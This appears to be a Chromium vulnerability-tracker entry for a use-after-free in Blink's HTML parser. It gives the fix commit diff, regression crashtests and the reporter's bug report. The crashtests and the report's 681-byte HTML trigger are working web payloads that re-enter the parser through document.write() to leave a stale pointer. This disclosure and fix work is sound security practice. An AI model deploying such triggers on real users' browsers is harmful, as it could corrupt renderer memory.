Overview

High
Severity
—
CVSS
No
Exploited ITW
Fixed
Fix Status
ImpactUse after free in Parser
DescriptionUse after free in Parser
ComponentParser
Sub-componentParser
Bug ClassUAF
Tracker557729858
Fix commitfd4e928e7b3e (chromium/src) +96/-30
CISA KEVNot listed
CreditedBlockian Creator of Kritt and Open-Kritt
Disclosed2026-10-06

Changed Functions

FunctionChangeNotes
if
third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
modified
if
third_party/blink/renderer/core/html/parser/html_tree_builder.cc
modified
connectedCallback
third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
modified

Files Changed

  • third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
  • third_party/blink/renderer/core/html/parser/html_tree_builder.cc
  • third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
  • third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
  • third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
From fd4e928e7b3e5e2e11528a587c4330a1852192cb Mon Sep 17 00:00:00 2001
From: Noam Rosenthal <[email protected]>
Date: Tue, 08 Sep 2026 10:47:39 -0700
Subject: [PATCH] [parser] Store stable element identity in adoption agency Bookmark

Previously, HTMLFormattingElementList::Bookmark stored a raw interior
Entry* pointer into the HeapVector<Entry> entries_ buffer.
During HTMLTreeBuilder::CallTheAdoptionAgency(), DOM operations (such
as reparenting the furthest-block in step 4.14) can synchronously
dispatch events when subtrees are detached, notably the pagehide event
on an iframe. An event listener could then call document.write(),
re-entering the parser and appending to active formatting elements.
This would reallocate the HeapVector and leave the Bookmark's raw
interior pointer dangling, leading to a UAF / use-after-poison write
when SwapTo() resumes.
This CL fixes the issue by:
1. Changing Bookmark to store a stable Element* reference instead of
   an interior Entry* pointer into HeapVector storage.
2. Updating SwapTo() to resolve elements dynamically via ReverseFind(),
   failing closed safely if re-entrant script cleared or modified the
   list.
3. Removing the step 4.13.4 bookmark-regeneration workaround that
   existed purely to work around Entry* vector shifts.
4. Validating that formatting_element and furthest_block remain in
   OpenElements() after step 4.14 DOM insertion before continuing.
5. Adding a regression crashtest for re-entrant document.write() via
   iframe pagehide.

Fixed: 557729858
Change-Id: I337a48aa7c0ad1d7fc0c08380b7df4864cb1cc39
Reviewed-on: https://chromium-review.googlesource.com/c/chromium/src/+/8363808
Reviewed-by: Mason Freed <[email protected]>
Commit-Queue: Noam Rosenthal <[email protected]>
Cr-Commit-Position: refs/heads/main@{#1693910}
---
diff --git a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
index 9654d555..85dc408d 100644
--- a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
+++ b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.cc
@@ -67,24 +67,26 @@
 
 HTMLFormattingElementList::Bookmark HTMLFormattingElementList::BookmarkFor(
     Element* element) {
-  wtf_size_t index = entries_.ReverseFind(element);
-  DCHECK_NE(index, kNotFound);
-  return Bookmark(&at(index));
+  DCHECK(Contains(element));
+  return Bookmark(element);
 }
 
 void HTMLFormattingElementList::SwapTo(Element* old_element,
                                        HTMLStackItem* new_item,
                                        const Bookmark& bookmark) {
-  DCHECK(Contains(old_element));
   DCHECK(!Contains(new_item->GetElement()));
   if (!bookmark.HasBeenMoved()) {
-    DCHECK(bookmark.Mark()->GetElement() == old_element);
-    bookmark.Mark()->ReplaceElement(new_item);
+    wtf_size_t index = entries_.ReverseFind(old_element);
+    if (index == kNotFound) {
+      return;
+    }
+    entries_[index].ReplaceElement(new_item);
     return;
   }
-  size_t index = bookmark.Mark() - First();
-  SECURITY_DCHECK(index < size());
-  entries_.insert(static_cast<wtf_size_t>(index + 1), new_item);
+  wtf_size_t mark_index = entries_.ReverseFind(bookmark.Mark());
+  if (mark_index != kNotFound) {
+    entries_.insert(mark_index + 1, new_item);
+  }
   Remove(old_element);
 }
 
diff --git a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
index e01d778..cf3b41f 100644
--- a/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
+++ b/third_party/blink/renderer/core/html/parser/html_formatting_element_list.h
@@ -83,19 +83,19 @@
     STACK_ALLOCATED();
 
    public:
-    explicit Bookmark(Entry* entry) : has_been_moved_(false), mark_(entry) {}
+    explicit Bookmark(Element* element) : mark_(element) {}
 
-    void MoveToAfter(Entry* before) {
+    void MoveToAfter(Element* before) {
       has_been_moved_ = true;
       mark_ = before;
     }
 
     bool HasBeenMoved() const { return has_been_moved_; }
-    Entry* Mark() const { return mark_; }
+    Element* Mark() const { return mark_; }
 
    private:
-    bool has_been_moved_;
-    Entry* mark_;
+    bool has_been_moved_ = false;
+    Element* mark_ = nullptr;
   };
 
   bool IsEmpty() const { return !size(); }
@@ -125,8 +125,6 @@
 #endif
 
  private:
-  Entry* First() { return &at(0); }
-
   // http://www.whatwg.org/specs/web-apps/current-work/multipage/parsing.html#list-of-active-formatting-elements
   // These functions enforce the "Noah's Ark" condition, which removes redundant
   // mis-nested elements.
diff --git a/third_party/blink/renderer/core/html/parser/html_tree_builder.cc b/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
index 94ccb7f0..1b372df 100644
--- a/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
+++ b/third_party/blink/renderer/core/html/parser/html_tree_builder.cc
@@ -1857,19 +1857,7 @@
         // 4.13.4
         if (inner_loop_counter > kInnerIterationLimit &&
             node_in_active_formatting_elements) {
-          DCHECK(bookmark.Mark());
-          // Cache the bookmark's element to regenerate it after the removal.
-          Element* bookmark_element = bookmark.Mark()->GetElement();
-          bool has_been_moved = bookmark.HasBeenMoved();
           tree_.ActiveFormattingElements()->Remove(node->GetElement());
-          bookmark =
-              tree_.ActiveFormattingElements()->BookmarkFor(bookmark_element);
-          if (has_been_moved) {
-            // BookmarkFor creates a 'before' bookmark; if the original was
-            // moved, we must explicitly convert it back to an 'after' bookmark
-            // relative to its current mark.
-            bookmark.MoveToAfter(bookmark.Mark());
-          }
           // Set to false so the subsequent step (4.13.5) removes the node from
           // the stack of open elements and continues the inner loop.
           node_in_active_formatting_elements = false;
@@ -1890,7 +1878,7 @@
 
         // 4.13.7
         if (last_node == furthest_block) {
-          bookmark.MoveToAfter(node_entry);
+          bookmark.MoveToAfter(node->GetElement());
         }
         // 4.13.8
         Sanitizer::Action action =
@@ -1944,7 +1932,7 @@
 
         // 9.8
         if (last_node == furthest_block) {
-          bookmark.MoveToAfter(node_entry);
+          bookmark.MoveToAfter(node->GetElement());
         }
         // 9.9
         Sanitizer::Action action =
@@ -1974,6 +1962,10 @@
     if (last_node) {
       tree_.InsertAlreadyParsedChild(common_ancestor, last_node);
     }
+    if (!tree_.OpenElements()->Contains(formatting_element) ||
+        !tree_.OpenElements()->Contains(furthest_block->GetElement())) {
+      return;
+    }
     // 4.15
     HTMLStackItem* new_item =
         tree_.CreateElementFromSavedToken(formatting_element_item);
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
new file mode 100644
index 0000000..c0ad099
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm with custom furthest-block element</title>
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element during AAA step 4.14 synchronously
+// runs custom element connectedCallbacks. Calling document.write() within the
+// callback re-enters the parser, appending new formatting elements and forcing
+// the HeapVector to reallocate.
+
+let connections = 0;
+customElements.define("x-div", class extends HTMLDivElement {
+  connectedCallback() {
+    // Connection #1 occurs on initial parse/insertion under <b>.
+    // Connection #2 occurs when AAA step 4.14 reparents furthest_block
+    // into common_ancestor, at which point Bookmark has already been captured.
+    if (++connections !== 2) return;
+
+    // Re-enter the parser and append 14 formatting elements to the AFE.
+    // The second group includes an attribute ('a') to bypass the Noah's Ark
+    // rule, which would otherwise discard duplicate formatting elements.
+    // Growing from 3 to 17 entries exceeds the existing vector capacity (16),
+    // forcing a HeapVector reallocation that invalidates the Bookmark pointer.
+    document.write(
+      "<big><code><em><font><s><small><strike><strong><tt><u>" +
+      "<big a><code a><em a><font a>"
+    );
+  }
+}, {extends: "div"});
+
+// 1. "<b><i>": Push 2 formatting elements to the AFE.
+// 2. "<marquee>": Appends an AFE marker.
+// 3. 10 formatting elements: Grow the AFE HeapVector capacity to 16.
+// 4. "</marquee>": Pops elements up to the marker, leaving 2 elements in the AFE
+//    while preserving the allocated capacity of 16.
+// 5. "<b>": Pushes a 3rd element to the AFE.
+// 6. "<div is=x-div>": Parsed as a child of <b> (connection #1).
+// 7. "</b>": Triggers AAA for <b> with <div is=x-div> as furthest_block.
+document.write(
+  "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+  "</marquee><b><div is=x-div></b>"
+);
+</script>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
new file mode 100644
index 0000000..04962b2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm reentrancy via iframe pagehide</title>
+<link rel="help" href="https://issues.chromium.org/issues/558144311">
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element (<div>) during AAA step 4.14 detaches
+// its subtree, synchronously firing onpagehide on <iframe id=ifr>.
+// The re-entrant document.write() appends 14 formatting elements (using unique
+// attributes to bypass Noah's Ark eviction), growing the active formatting
+// elements list from 3 to 17 entries. This exceeds the vector capacity (16),
+// forcing a HeapVector reallocation that invalidates the Bookmark pointer
+// before SwapTo() resumes at step 4.18.
+document.write(
+  "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+  "</marquee><b><div><iframe id=ifr></iframe><script>" +
+  "document.getElementById('ifr').contentWindow.onpagehide = () => {" +
+  "  document.write(" +
+  "    '<big><code><em><font><s><small><strike><strong><tt><u>' +" +
+  "    '<big a><code a><em a><font a>'" +
+  "  );" +
+  "};" +
+  "<\/script></b>"
+);
+</script>
+</html>
Loading diff…

Regression Test / PoC

shipped with the fix
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
new file mode 100644
index 0000000..c0ad099
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-custom-furthest-block.html
@@ -0,0 +1,46 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm with custom furthest-block element</title>
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element during AAA step 4.14 synchronously
+// runs custom element connectedCallbacks. Calling document.write() within the
+// callback re-enters the parser, appending new formatting elements and forcing
+// the HeapVector to reallocate.
+
+let connections = 0;
+customElements.define("x-div", class extends HTMLDivElement {
+  connectedCallback() {
+    // Connection #1 occurs on initial parse/insertion under <b>.
+    // Connection #2 occurs when AAA step 4.14 reparents furthest_block
+    // into common_ancestor, at which point Bookmark has already been captured.
+    if (++connections !== 2) return;
+
+    // Re-enter the parser and append 14 formatting elements to the AFE.
+    // The second group includes an attribute ('a') to bypass the Noah's Ark
+    // rule, which would otherwise discard duplicate formatting elements.
+    // Growing from 3 to 17 entries exceeds the existing vector capacity (16),
+    // forcing a HeapVector reallocation that invalidates the Bookmark pointer.
+    document.write(
+      "<big><code><em><font><s><small><strike><strong><tt><u>" +
+      "<big a><code a><em a><font a>"
+    );
+  }
+}, {extends: "div"});
+
+// 1. "<b><i>": Push 2 formatting elements to the AFE.
+// 2. "<marquee>": Appends an AFE marker.
+// 3. 10 formatting elements: Grow the AFE HeapVector capacity to 16.
+// 4. "</marquee>": Pops elements up to the marker, leaving 2 elements in the AFE
+//    while preserving the allocated capacity of 16.
+// 5. "<b>": Pushes a 3rd element to the AFE.
+// 6. "<div is=x-div>": Parsed as a child of <b> (connection #1).
+// 7. "</b>": Triggers AAA for <b> with <div is=x-div> as furthest_block.
+document.write(
+  "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+  "</marquee><b><div is=x-div></b>"
+);
+</script>
+</html>
diff --git a/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
new file mode 100644
index 0000000..04962b2
--- /dev/null
+++ b/third_party/blink/web_tests/external/wpt/html/syntax/parsing/crashtests/adoption-agency-pagehide-reentrant-write.html
@@ -0,0 +1,28 @@
+<!DOCTYPE html>
+<html>
+<meta charset="utf-8">
+<title>Adoption agency algorithm reentrancy via iframe pagehide</title>
+<link rel="help" href="https://issues.chromium.org/issues/558144311">
+<link rel="help" href="https://issues.chromium.org/issues/557729858">
+<link rel="help" href="https://html.spec.whatwg.org/multipage/parsing.html#adoption-agency-algorithm">
+<script>
+// Reparenting the furthest-block element (<div>) during AAA step 4.14 detaches
+// its subtree, synchronously firing onpagehide on <iframe id=ifr>.
+// The re-entrant document.write() appends 14 formatting elements (using unique
+// attributes to bypass Noah's Ark eviction), growing the active formatting
+// elements list from 3 to 17 entries. This exceeds the vector capacity (16),
+// forcing a HeapVector reallocation that invalidates the Bookmark pointer
+// before SwapTo() resumes at step 4.18.
+document.write(
+  "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
+  "</marquee><b><div><iframe id=ifr></iframe><script>" +
+  "document.getElementById('ifr').contentWindow.onpagehide = () => {" +
+  "  document.write(" +
+  "    '<big><code><em><font><s><small><strike><strong><tt><u>' +" +
+  "    '<big a><code a><em a><font a>'" +
+  "  );" +
+  "};" +
+  "<\/script></b>"
+);
+</script>
+</html>
Loading diff…

Original Bug Report

reported by [email protected]

Incomplete fix for Chromium 496298136: a customized furthest-block div may invalidate Blink’s adoption-agency Bookmark, causing a stale access in SwapTo(). UAF


Report description

Incomplete fix for Chromium 496298136: a customized furthest-block div may invalidate Blink’s adoption-agency Bookmark, causing a stale access in SwapTo(). UAF


Bug location

Where do you want to report your vulnerability?

Chrome VRP – Report security issues affecting the Chrome browser. See program rules

Which URL (or repository) have you found the vulnerability in?

https://chromium.googlesource.com/chromium/src/


The problem

Please describe the technical details of the vulnerability

[Blink] Suspected incomplete fix for issue 496298136: stale adoption-agency Bookmark

Summary

This is a source-derived alternate trigger for Chromium issue 496298136. The existing mitigation excludes a customized formatting element from the active formatting list. This trigger instead uses an ordinary <b> as that element and a customized <div is="x-div"> as the furthest block, so the mitigation does not cover it.

The adoption-agency algorithm saves a raw pointer into the active-formatting HeapVector. Moving the customized div then invokes its second connectedCallback() synchronously. The callback reenters the parser with document.write() and grows the same vector; when the outer algorithm resumes, SwapTo() may dereference the stale pointer.

The page needs no permission, user action, flag, server, or external resource.

Status: this report is based on source analysis and a load-only trigger. The parser path was exercised, but memory corruption has not yet been reproduced under ASAN. A stock Google Chrome 148.0.7778.167 run completed normally. I am therefore reporting a suspected incomplete-fix variant—not confirmed exploitation, an S1, or a full chain.

Source reviewed: Chromium 155.0.8041.0 at revision cf434334c1f6493694f56000301ae09532ac62a6.

Root cause

BookmarkFor() stores an interior pointer into entries_:

return Bookmark(&at(index));

CallTheAdoptionAgency() retains it across a DOM move:

HTMLFormattingElementList::Bookmark bookmark =
    tree_.ActiveFormattingElements()->BookmarkFor(formatting_element);
// ...
tree_.InsertAlreadyParsedChild(common_ancestor, last_node);
// ...
tree_.ActiveFormattingElements()->SwapTo(formatting_element, new_item,
                                         bookmark);

The move runs queued custom-element reactions before returning. Nested parser work can append entries and relocate the vector, but the non-moved path in SwapTo() still uses the saved address:

bookmark.Mark()->ReplaceElement(new_item);

The fix for 496298136 checks only whether the formatting token has an is attribute in InsertFormattingElement(). Here that token is the ordinary <b>; is="x-div" is on the special furthest block.

Relevant files:

Reproduction attempt

Attach payload.html and run.sh from POC2. Run them as an unprivileged user with a matching, unstripped, symbolized ASAN Chromium build:

bash run.sh /absolute/path/to/asan/chrome 10

The runner uses fresh profiles and does not disable the sandbox. Exit 0 means it found a sanitizer memory report containing the expected Blink parser symbols; exit 1 means the payload loaded but the issue was not reproduced.

The complete 681-byte trigger is:

<!doctype html>
<meta charset="utf-8">
<script>
const guard = new EventTarget();
guard.addEventListener("x", () => {});

let connections = 0;
customElements.define("x-div", class extends HTMLDivElement {
  connectedCallback() {
    if (++connections !== 2) return;
    guard.addEventListener("x", () => {});
    document.write(
      "<big><code><em><font><s><small><strike><strong><tt><u>" +
      "<big a><code a><em a><font a>"
    );
  }
}, {extends: "div"});

document.write(
  "<b><i><marquee><big><code><em><font><s><small><strike><strong><tt><u>" +
  "</marquee><b><div is=x-div></b>"
);
</script>
<p id="poc2-loaded">PoC completed without a detected renderer failure.</p>

Expected confirmation is a symbolized ASAN memory-safety report containing:

ERROR: AddressSanitizer: heap-use-after-free
blink::HTMLFormattingElementList::Entry::GetElement or ReplaceElement
blink::HTMLFormattingElementList::SwapTo
blink::HTMLTreeBuilder::CallTheAdoptionAgency

No such trace has been obtained yet, so asan-trace.txt is not included.

Impact

If confirmed, an ordinary web page could cause renderer memory corruption through a stale read or stale Member<HTMLStackItem> write. No reliable exploitation, arbitrary read/write, code execution, sandbox escape, or full chain has been demonstrated.

Suggested fix

Do not retain a raw pointer into the active-formatting vector across DOM work that can run script. Store a relocation-safe logical reference and reacquire or validate it after reentrancy before SwapTo(). Add a regression test using an ordinary formatting <b> and a customized furthest-block div.

Attachments

  • payload.html — self-contained HTML trigger
  • run.sh — ASAN runner and trace validator

Impact analysis

If confirmed, an ordinary web page could cause renderer memory corruption through a stale read or stale Member<HTMLStackItem> write. No reliable exploitation, arbitrary read/write, code execution, sandbox escape, or full chain has been demonstrated.


The cause

What version of Chrome have you found the security issue in?

155.0.8041.0

No, it is not related to a crash.

Choose the type of vulnerability

Memory Corruption (in a sandboxed process)

How would you like to be publicly acknowledged for your report?

Blockian Creator of Kritt and Open-Kritt

View on issue tracker